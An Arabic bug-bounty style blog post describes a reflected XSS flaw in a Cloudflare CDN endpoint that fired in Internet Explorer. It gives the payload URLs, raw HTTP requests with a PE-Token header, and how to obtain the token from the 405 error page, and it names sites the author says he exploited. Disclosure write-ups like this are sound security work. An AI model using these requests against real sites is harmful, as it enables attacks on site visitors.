المقال المثبتامن وحماية تطبيقات الويبمواضيع عامةمواضيع ومقالات

مقال: حين يفشل CloudFlare بحماية مُستخدميه

تم أرشفة هذا المحتوى


منذ فترة ليست بطويلة أستطعت اكتشاف ثغرة XSS تصيب خدمة تقدمه مؤسسة Cloudflare الذي تملك خدمة الجدار الناري العالمية  ، حيث يُعتبر Cloudflare واحد من أهم المنُتجات بهذا المجال ومن الأكثر إنتشاراً ، وسبق وأن ذكرنا موضوع تحدثنا به عن الخدمة بشكل مُفصل أكثر.

 

flare

بداية القصة :

في عام 2013 بدأت بالمشاركة في برامج الجوائز وكان احد مختبري الإختراق قدم برنامج في موقعه الذي كان يعمل على WordPress فتسألت لم لا أقوم بفحص الموقع لأرى الإضافات موجودة ، فجذبني طلب ما تم في الموقع بعد رؤية الطلبات من والى الموقع :

http://securityundefined.com/cdn-cgi/pe/bag2?r[]=foo.bar/any.css

كان الموقع يقوم بتقليل الطلب او ضغط ملف ال css حسب علمي سابقاً ، كل ما قمت به هو :

http://securityundefined.com/cdn-cgi/pe/bag2?r[]=<scritp>alert(1)</script>test

جربته على متصفحات متعددة لكن فقط عمل في IE 8 وبالفعل إستغلالت ثغرة xss وبلغت عنها للموقع الذي كان يملكُه مختبر الإختراق سابقاً

وفي خلال بحثي في مواقع التي تقدم برنامج جوائز وبينما احلل طلبات الموقع تفاجئت بنفس المسار الذي وجدته منذ فترة طويلة في موقع securityundefined

http://xxxxxxxxxxxxxxxx.foo/cdn-cgi/pe/bag2?r[]=http://foo.bar/any.css

لذلك قلت لاعمل طلب GET للموقع في هذا المسار

http://xxxxxxxxxxxxxxxx.foo/cdn-cgi/pe/bag2?r[]=http://foo.bar/any.css

GET /cdn-cgi/pe/bag2?r=XXXX HTTP/1.1
Host: xxxxxxxxxxxxxxxx.foo
 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

كان رد السيرفر هو

HTTP/1.1 405 Not Allowed
Date: Mon, 16 Nov 2015 16:17:42 GMT
Content-Type: text/html
Server: cloudflare-nginx
cf-ray: 246481f1dd7c08ea-CDG
Transfer-Encoding: chunked
Connection: Keep-Alive


11-16-2015 7-51-06 PM

نلاحظ ان السيرفر باللون الاحمر هو تابع لكلاود فلير بالرغم من ان الموقع ليس له اي علاقة بشركة cloudflare لذلك علمت أن الموقع يستخدم احد خدمات كلاود فلير .

لكن هناك مشكلة صفحة الخطأ 405 Not Allowed

نحتاج الى ان نظهر صفحة ترد قيمة (?r[]=) , لذا كان غريباً ان الصفحة لم تعمل ؟! لكن الموقع يطلبها والموقع لا يطلب موارد وطلبات الى صفحات تعطي 404 او 405 كرد لذلك هناك شيء مفقود ؟؟

بعد العمل على تنصيب بروكسي بين الموقع وبين المصتفح تم تسجيل الطلب الأتي :

 /cdn-cgi/pe/bag2?r[]=http://foo.bar/xxx.js HTTP/1.1
Host:foo.bar
 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 PE-Token:1181d2a8d2f71217d89f9a70eb521bd7334e1a25-1438819567-1800
 Connection: keep-alive

هناك قيمة تظهر حين يطلب الموقع المسار الاتي يسمى (PE-Token) وله قيمة طويلة مثل ما تلاحظ باللون الاحمر .

الان نعمل طلب بسيط مع وجود (PE-Token) في الطلب سيكون كالاتي :

/cdn-cgi/pe/bag2?r[]=<script>alert(1)</script> HTTP/1.1
 Host:foo.bar
 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 PE-Token:1181d2a8d2f71217d89f9a70eb521bd7334e1a25-1438819567-1800
 Connection: keep-alive

في متصفح فايرفوكس لم يحصل شيء ولم تظهر الصفحة اصلاً في متصفح IE عمل كود الجافا سكرتب !!؟؟

قد يتبادل لذهن احد لماذا ثغرات XSS تعمل في متصفحات ولا تعمل في متصفحات اخرى

والسبب انه لكل متصفح نواة وبرمجة معينة تقبل بعض الامور وفي اخرى لا تقبلها .

وسبب عمل ثغرة الكلاود فلير هو انه الرد كان بصيغة ContentType: multipart/mixed وهذا يعني انه متعدد او مختلط لذلك الفايرفوكس يرفض عرض ملفات او صفحات كهذه بينما IE يشلغها كصفحات HTML وبذلك عملت معنا !

الان لدينا مشكلة ال(PE-Token) من اين نجلبه بعد البحث وجدت ان صفحة الخطأ 405

11-16-2015 7-51-06 PM

لو فتحت النص الاصلي او السورس كود لهذه الصفحة ستجد

mo

وبمطابقة ال  PE-Token وجدته يساوي قيمة الpetok الموجود في صفحة الخطأ

السيناريو ان يقوم الهكر بارسال صفحة ترسل طلب للموقع المراد اختراقه لسحب الرقم وإعادة ارسال طلب اخر لكن هذه في حالة ضعف في SOP يُمكن مراجعته لاحقاً ، لذلك إستطعت ان أقوم بإستغلال الثغرة في مواقع كثيرة وهذه بعض منها :

aitnews

sa3eka

أخيراً تم ابلاغ شركة كلاودفلير وقد تم اغلاق التقرير بدون اصلاح ربما تم اصلاحه الأن !؟

نتمنى أن يكون المقال قد نال إعجابكم ، ونلتقي بمقالات أخرى بإذن الله.

عبدالله حسام

مبرمج ومختبر اختراق من العراق مهتم بأمن المعلومات والثغرات البرمجية للتواصل معي عبر تويتر https://twitter.com/Abdulahhusam

مقالات ذات صلة

تعليق واحد

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى